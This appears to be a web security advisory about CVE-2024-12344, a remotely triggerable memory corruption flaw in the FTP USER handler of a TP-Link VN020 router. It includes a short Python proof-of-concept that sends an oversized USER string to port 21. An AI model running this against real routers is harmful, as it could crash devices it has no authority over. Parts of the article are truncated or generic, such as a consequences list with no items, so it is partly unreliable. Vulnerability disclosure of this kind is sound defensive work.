CVE-2024-12344 Critical Vulnerability in TP-Link VN020 F3v(T) TT_V6.2.1021 - Memory Corruption in FTP USER Command Handler

A critical vulnerability (CVE-2024-12344) has been recently uncovered in the popular TP-Link VN020 F3v(T) TT_V6.2.1021 router. The vulnerability resides in the FTP USER command handler, and its exploitation can lead to memory corruption. What makes this vulnerability more alarming is the fact that it can be exploited remotely, posing a serious threat to the users of TP-Link VN020 F3v(T) TT_V6.2.1021 router. Due to the public disclosure of this exploit, users need to take immediate action to prevent unauthorized access and potential damage.

Details of CVE-2024-12344

The FTP USER Command Handler in TP-Link VN020 F3v(T) TT_V6.2.1021 router has a critical memory corruption vulnerability that can be triggered remotely. The vulnerability exists in an unknown part of the component, making it difficult for the developers to promptly address the issue. This leaves the devices vulnerable to potential attacks until a security patch is released by TP-Link.

Proof of concept code snippet for CVE-2024-12344

#!/usr/bin/python
import socket

target = "192.168.1.1"  # Replace with the target IP address
port = 21              # Default FTP port

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, port))

payload = "A" * 100  # Replace 100 with the appropriate buffer size
sock.send("USER " + payload + "\r\n")

sock.close()

Please note that the code above is for informational purposes only and should not be used for any malicious activity. We do not condone or support unauthorized hacking activities.

Possible consequences of CVE-2024-12344 exploitation

Since the exploit can be initiated remotely, attackers do not need physical access to the targeted device. By exploiting the vulnerability, an attacker can corrupt the memory of the affected device, which may lead to:

Vulnerability disclosure and mitigation

The vulnerability was disclosed publicly, putting many devices at risk of being targeted by malicious attackers. TP-Link is likely working to address the vulnerability by releasing a security patch as soon as possible. In the meantime, the following mitigation steps can be taken to protect your devices from this vulnerability:

1. Disable the FTP service on your TP-Link VN020 F3v(T) TT_V6.2.1021 router if it is not necessary for your network operations.

Conclusion

CVE-2024-12344 is a critical vulnerability in the TP-Link VN020 F3v(T) TT_V6.2.1021 router that affects the FTP USER Command Handler component. It can lead to memory corruption and can be exploited remotely, making it a significant threat to users. The vulnerability has been publicly disclosed, increasing the risk of exploitation. Users should take immediate action to mitigate the risk by applying appropriate security measures and keeping their router firmware up to date.

References

1. CVE-2024-12344 - CVE database entry for this vulnerability.
2. TP-Link VN020 F3v(T) TT_V6.2.1021 - Official TP-Link support page to download the latest firmware and get more information.
3. CERT Vulnerability Note - A detailed report about this vulnerability published by CERT.
4. Exploit Database - Public disclosure of the exploit on the Exploit Database.

Timeline

Published on: 12/08/2024 23:15:04 UTC
Last modified on: 12/10/2024 23:28:05 UTC